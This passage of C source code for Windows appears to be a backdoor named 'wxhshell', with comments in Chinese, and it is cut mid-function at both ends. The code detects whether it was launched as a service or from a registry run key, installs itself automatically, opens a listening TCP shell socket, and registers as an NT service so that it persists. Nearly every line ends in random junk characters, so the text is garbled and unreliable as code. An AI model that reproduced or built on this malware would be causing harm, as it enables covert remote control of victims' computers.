y{
DWORD BasePriority; hSz_e
ULONG UniqueProcessId; j}O qWX>/
ULONG InheritedFromUniqueProcessId; /}/GK|tj
} PROCESS_BASIC_INFORMATION; 6zi 5#23
\.'[!GE *c
PROCNTQSIP NtQueryInformationProcess; E{P94Phv
f/QwXO-U
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; n[B[hAT
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; .D;6
r4S
~{GTL_w
HANDLE hProcess; CZE!@1"<{
PROCESS_BASIC_INFORMATION pbi; `-JVz{z
AhkDLm+
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "Zy:q'`o
if(NULL == hInst ) return 0; +cbF$,M4
Xr:s-L
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); s(?%A
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); k }{o:
N
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); qyAnq%B}
ftKL#9,s(
if (!NtQueryInformationProcess) return 0; FJ^\K+;
P,xIDj4d
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); O c.fvP^ZD
if(!hProcess) return 0; =~"X/>'
eY-h<K)y
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; EDuH+/:n
%|%eGidu
CloseHandle(hProcess); NMQG[py!f
IMncl=1
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); fs:yx'mxV
if(hProcess==NULL) return 0; ( et W4p
Bd7B\zM
HMODULE hMod; c%WO#}r|
char procName[255]; 4"H*hKp
unsigned long cbNeeded; 7#W]Qj
&2U%/JqY
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); h@Jg9AM
yj@k0TWT$
CloseHandle(hProcess); V2|By,.
g$jT P#%b
if(strstr(procName,"services")) return 1; // 以服务启动 &AOGg\
[& Z-
*a
return 0; // 注册表启动 PO8Z2"WI
} j "'a5;Sy
o2=):2x
r{
// 主模块 gL-kI*Ra
int StartWxhshell(LPSTR lpCmdLine) <i4]qO(0u
{ wViTMlq
SOCKET wsl; iC5HrOl6U
BOOL val=TRUE; y631;dU
int port=0; 6T|Z4f|
struct sockaddr_in door; (9oo8&GG
XI ;] c5
if(wscfg.ws_autoins) Install(); k*n~&y: O
|(ab0b #
port=atoi(lpCmdLine); vBOY[>=
bhGRD{=
if(port<=0) port=wscfg.ws_port; {@iLfBh5
sT"ICooc
WSADATA data; _@y uaMoW=
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; (oR~%2K
AWi>(wk<
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; $ZGup"z)
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); W^h,O+vk
door.sin_family = AF_INET; 1;1;-4k7I
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 05k'TqT{c
door.sin_port = htons(port); [uHU[
sG
ZzNHEV
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { -3mIdZ
closesocket(wsl); @2L^?*n=
return 1; x?V^l*
} D ka8[z7
3o[(pfcU
if(listen(wsl,2) == INVALID_SOCKET) { :e=7=|@7
closesocket(wsl); 0RtZTCGO
return 1; yna!L@ *@,
} {q`8+$Z;
Wxhshell(wsl); ?wPTe^Qtv
WSACleanup(); u9|Eos i
x}pH'S7
return 0;
gk 6R#
MymsDdQ]
} -k7b#
+T
Ewp2 1
// 以NT服务方式启动 '%t$mf!nV
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &WBpd}|+Y
{ ~`&4?c3p
DWORD status = 0; %;h1n6=v2
DWORD specificError = 0xfffffff; M j[+h|e
r<1W.xd":
serviceStatus.dwServiceType = SERVICE_WIN32; &4|]VOf
serviceStatus.dwCurrentState = SERVICE_START_PENDING; :*,!gf
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; -s2)!Iko&
serviceStatus.dwWin32ExitCode = 0; fqbeO 9x
serviceStatus.dwServiceSpecificExitCode = 0; &odQ&%X
serviceStatus.dwCheckPoint = 0; nw--
serviceStatus.dwWaitHint = 0; XrTc5V
{'A
15
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); o
g9|}E>
if (hServiceStatusHandle==0) return; q`{@@[/(y
9 c9$cnQ
status = GetLastError(); EiC["M'}
if (status!=NO_ERROR) qXq#A&
{ yC5>k;/6#K
serviceStatus.dwCurrentState = SERVICE_STOPPED; D9NRM;v
serviceStatus.dwCheckPoint = 0; d7b`X<=@s
serviceStatus.dwWaitHint = 0; q1 q~%+Jy
serviceStatus.dwWin32ExitCode = status; sq#C|v/
serviceStatus.dwServiceSpecificExitCode = specificError; T+P{,,a/]
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~h8k4eM
return; GYIQ[#'d7
} 6zU0 8z0-
2 N &B
serviceStatus.dwCurrentState = SERVICE_RUNNING; T<7}IH$6xE
serviceStatus.dwCheckPoint = 0; 4IfkYM
serviceStatus.dwWaitHint = 0; $<Gt^3e
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); CpN*1s})d
} &f 'Lll
~P,Z@|c4
// 处理NT服务事件,比如:启动、停止 L!33`xef'
VOID WINAPI NTServiceHandler(DWORD fdwControl) otjT?R2g'
{ "N%W5[C{
switch(fdwControl) fy>3#`T-
{ mXJG &EA
case SERVICE_CONTROL_STOP: Bt:M^b^
serviceStatus.dwWin32ExitCode = 0; %iIr %P?
serviceStatus.dwCurrentState = SERVICE_STOPPED; $?kTS1I(
serviceStatus.dwCheckPoint = 0; ;+f(1=x
serviceStatus.dwWaitHint = 0; ^v;8 (eF
{ C;ha2UV0H
SetServiceStatus(hServiceStatusHandle, &serviceStatus); /8_x]Es/
} Aj\m57e,6
return; K~UT@,CS60
case SERVICE_CONTROL_PAUSE: i0x[w>\-
serviceStatus.dwCurrentState = SERVICE_PAUSED; 0""%@X]m
break; ;2BPEo>z9
case SERVICE_CONTROL_CONTINUE: !h1|B7N
serviceStatus.dwCurrentState = SERVICE_RUNNING; t2.]v><